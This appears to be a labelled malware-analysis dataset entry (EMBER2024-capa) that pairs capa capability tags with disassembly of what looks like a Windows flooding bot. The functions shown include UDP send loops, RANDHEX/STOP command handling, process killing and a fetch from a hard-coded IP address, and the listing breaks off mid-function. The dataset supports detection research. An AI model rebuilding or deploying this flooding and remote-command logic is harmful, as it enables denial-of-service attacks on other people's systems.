joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1407972c0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140797447
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407972f1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407972d7
add dl, dl
jne 0x1407972fe
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14079735e
xor eax, eax
add dl, dl
jne 0x14079730d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140797415
add dl, dl
jne 0x14079731e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14079732b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140797338
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140797345
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140797352
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407972e6
mov eax, 1
add dl, dl
jne 0x14079736e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14079737b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140797363
sub eax, ebx
mov ebx, 1
jne 0x1407973b4
mov ecx, 1
add dl, dl
jne 0x140797396
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407973a3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14079738b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407972e6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407973d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407973dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407973c5
cmp eax, 0x7d00
jae 0x140797403
cmp eax, 0x500
jb 0x1407973fe
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407972e6
cmp eax, 0x7f
ja 0x140797406
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407972e6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14079743a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407972e6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040c920]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x0040c930]
mov dword [rax], 1
mov rax, qword [0x0040c940]
mov dword [rax], 1
mov rax, qword [0x0040c8c0]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x0040c910]
mov dword [0x0040f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040c9f0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x0040c9d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040c870]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a
Function at 0x4015d7
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xac0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa60], rcx
mov dword [rbp + 0xa68], edx
mov dword [rbp + 0xa70], r8d
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0xa38], eax
mov ecx, 0
call sym.time
mov qword [rbp + 0xa30], rax
mov rax, qword [rbp + 0xa60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xa28], rax
lea rax, [rbp + 0xa10]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0xa28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0xa10]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x10]
mov word [rbp + 0xa10], ax
mov eax, dword [rbp + 0xa68]
mov word [rbp + 0xa12], ax
mov dword [rbp + 0xa3c], 0
lea rax, [rbp + 0x140]
lea rdx, [0x0040a020]
mov ecx, 0x11a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe865ac7b7603a197
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 8
imul rdx, rax, 0x11a
mov rax, rcx
sub rax, rdx
mov rax, qword [rbp + rax*8 + 0x140]
mov qword [rbp + 0xa20], rax
cmp dword [rbp + 0xa3c], 0x31
jbe 0x4017b9
mov eax, dword [rbp + 0xa38]
cdqe
mov rdx, qword [rbp + 0xa20]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0xa38]
cdqe
lea rdx, [rbp + 0xa10]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0xa70]
movsxd rcx, edx
mov rdx, qword [rbp + 0xa30]
add rdx, rcx
cmp rax, rdx
jl 0x4017af
mov eax, dword [rbp + 0xa38]
cdqe
mov rcx, rax
call sym.fclose
jmp 0x4017c5
mov dword [rbp + 0xa3c], 0
add dword [rbp + 0xa3c], 1
jmp 0x4016cf
add rsp, 0xac0
pop rsi
pop rdi
pop rbp
ret
Function at 0x4018f3
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp - 8], eax
mov ecx, 0
call sym.time
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x30]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x30]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x10]
mov word [rbp - 0x30], ax
mov eax, dword [rbp + 0x18]
mov word [rbp - 0x2e], ax
mov dword [rbp - 4], 0
lea rax, [0x0040bb58]
mov qword [rbp - 0x38], rax
cmp dword [rbp - 4], 0x31
jbe 0x401a20
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rbp - 0x38]
mov r9d, 0
mov r8d, 0x5b4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rbp - 0x30]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0x20]
movsxd rcx, edx
mov rdx, qword [rbp - 0x10]
add rdx, rcx
cmp rax, rdx
jl 0x401a19
mov eax, dword [rbp - 8]
mov ecx, eax
call sym.close
mov ecx, 0
call sym._exit
mov dword [rbp - 4], 0
add dword [rbp - 4], 1
jmp 0x40199c

Function at 0x401afe
Capabilities:
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
nop
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
test rax, rax
je 0x401b84
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov rdx, rax
lea rax, str.Address:__s_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp - 0x64]
jmp 0x401b89
mov eax, 0
add rsp, 0x90
pop rbp
ret
Function at 0x401b92
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x160], ecx
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
call sym.GetFirstIPAddress
mov dword [rbp + 0x14c], eax
mov eax, dword [rbp + 0x14c]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_ntohl]
call rax
mov edx, dword [rbp + 0x160]
and eax, edx
mov dword [rbp + 0x148], eax
call sym.rand_cmwc
mov edx, dword [rbp + 0x160]
not edx
and edx, eax
mov eax, dword [rbp + 0x148]
xor eax, edx
mov dword [rbp + 0x144], eax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, dword [rbp + 0x144]
add rsp, 0x1d0
pop rbp
ret

Function at 0x401c1c
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 1
mov dword [rbp - 8], 0
jmp 0x401c76
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rdx, rax
mov eax, dword [rbp + 0x20]
mov r8d, 1
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__read]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
jne 0x401c70
mov eax, 0
jmp 0x401cbf
mov eax, dword [rbp - 4]
add dword [rbp - 8], eax
cmp dword [rbp - 4], 1
jne 0x401c9e
mov eax, dword [rbp + 0x18]
sub eax, 1
cmp dword [rbp - 8], eax
jge 0x401c9e
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
jne 0x401c3f
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov byte [rax], 0
cmp dword [rbp - 4], 0
je 0x401cba
mov rax, qword [rbp + 0x10]
jmp 0x401cbf
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x401cc5
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
add rsp, 0x1f0
pop rbp
ret
Function at 0x401d3c
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rdi
mov eax, 0x1058
call fcn.004041c0
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x200
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.User_Agent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xfc8], rax
cmp qword [rbp + 0xfc8], 0
jne 0x401dae
mov eax, 0
jmp 0x401e85
mov rax, qword [rbp + 0xfc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__34.159.237.198_ip.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfc0], rax
cmp qword [rbp + 0xfc0], 0
jne 0x401e10
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x401e85
lea rcx, [rbp + 0xfbc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfc0]
mov r9, rcx
mov r8d, 0xfff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp + 0xfbc]
mov eax, eax
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x0040f040]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
add rsp, 0x1058
pop rdi
pop rbp
ret
Function at 0x401f5d
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x401fcb
mov eax, 0xffffffff
jmp 0x402149
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x40202e
mov eax, 0xffffffff
jmp 0x402149
mov rax, qword [0x00414078]
add rax, 1
mov qword [0x00414078], rax
mov rax, qword [0x00414078]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x170], rax
cmp qword [rbp + 0x170], 0
jne 0x40208e
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x402149
mov qword [rbp + 0x178], 0
jmp 0x4020d5
mov rax, qword [0x00414070]
mov rdx, qword [rbp + 0x178]
shl rdx, 2
add rax, rdx
mov rdx, qword [rbp + 0x178]
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x170]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
add qword [rbp + 0x178], 1
mov rax, qword [0x00414078]
sub rax, 1
cmp qword [rbp + 0x178], rax
jb 0x40209b
mov rax, qword [0x00414078]
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x170]
add rdx, rax
mov eax, dword [rbp - 0x20]
mov dword [rdx], eax
mov rax, qword [0x00414070]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x170]
mov qword [0x00414070], rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x200
pop rbp
ret
Function at 0x4021bd
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov eax, dword [rbp + 0x210]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x402241
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x40224c
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x402222
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x40227c
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x40227c
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x402394
jmp 0x402384
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1e4], 0
jmp 0x402303
mov eax, dword [rbp + 0x1e4]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x40230e
add dword [rbp + 0x1e4], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jb 0x4022e4
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jne 0x40233e
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x40233e
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1e4]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x402393
add dword [rbp + 0x1e8], 1
nop
cmp dword [rbp + 0x1e8], 9
jle 0x4022c3
jmp 0x402394
nop
mov dword [rbp + 0x1d4], 0
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1d8], rax
jmp 0x40240f
mov eax, dword [0x00410040]
cdqe
lea rdx, [rbp - 0x49]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cmp eax, 1
je 0x4023e8
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, 0xffffffff
jmp 0x402436
mov rax, qword [rbp + 0x1d8]
lea rdx, [rax + 1]
mov qword [rbp + 0x1d8], rdx
movzx edx, byte [rbp - 0x49]
mov byte [rax], dl
movzx eax, byte [rbp - 0x49]
cmp al, 0xa
je 0x402425
add dword [rbp + 0x1d4], 1
mov eax, dword [rbp + 0x210]
lea edx, [rax - 1]
mov dword [rbp + 0x210], edx
cmp eax, 1
jg 0x4023ae
jmp 0x402426
nop
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, dword [rbp + 0x1d4]
add rsp, 0x270
pop rbp
ret
Function at 0x40243f
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov ecx, 0x800
call sym.malloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.vsprintf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x10]
add rax, rdx
mov byte [rax], 0xa
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x10]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0x14]
add rsp, 0x40
pop rbp
ret

Function at 0x40254c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.C:Python27python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402575
lea rax, [0x0040c0e1]
jmp 0x4025df
lea rax, str.C:Python38python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402596
lea rax, [0x0040c0e1]
jmp 0x4025df
lea rax, str.C:Perl_binperl.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x4025b7
lea rax, [0x0040c0e1]
jmp 0x4025df
lea rax, str.C:WindowsSystem32_telnetd.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x4025d8
lea rax, [0x0040c0e1]
jmp 0x4025df
lea rax, str.Unknown_Port
add rsp, 0x20
pop rbp
ret
Function at 0x4025e5
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40272e
cmp dword [rbp + 0x10], 3
jle 0x40281b
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x40281b
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x40281b
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 8]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x24], eax
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x20]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x402702
mov rax, qword [rbp - 0x20]
lea rdx, [0x0040b052]
mov rcx, rax
call sym.strtok
mov qword [rbp - 8], rax
jmp 0x4026f9
call sym.listFork
test eax, eax
jne 0x4026e1
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
lea rax, [0x0040b052]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4026b9
jmp 0x40272e
call sym.listFork
test eax, eax
jne 0x40281e
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40281f
mov dword [rbp - 0xc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x18], 0
jmp 0x402808
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x402803
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
cmp dword [rbp - 0x2c], eax
je 0x402803
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
je 0x402803
mov rax, qword [rbp - 0x38]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x4027f3
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add qword [rbp - 0x18], 1
mov rax, qword [0x00414078]
cmp qword [rbp - 0x18], rax
jb 0x402770
jmp 0x40281f
nop
jmp 0x40281f
nop
add rsp, 0x60
pop rbp
ret
Function at 0x402825
Capabilities:
Connect socket
Convert ip address from string
Get socket status

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov dword [rbp + 0x218], r9d
mov word [rbp + 0x1d0], 2
mov eax, dword [rbp + 0x210]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1d2], ax
lea rax, [rbp + 0x1d0]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rax, [rbp + 0x1d0]
add rax, 8
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x200]
cdqe
lea rdx, [rbp + 0x1d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1e8], eax
cmp dword [rbp + 0x1e8], 0
jns 0x402a02
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
cmp eax, 0x70
jne 0x4029fb
mov eax, dword [rbp + 0x218]
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x402942
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x40294d
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x402923
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x40297d
mov eax, dword [rbp - 0x40]
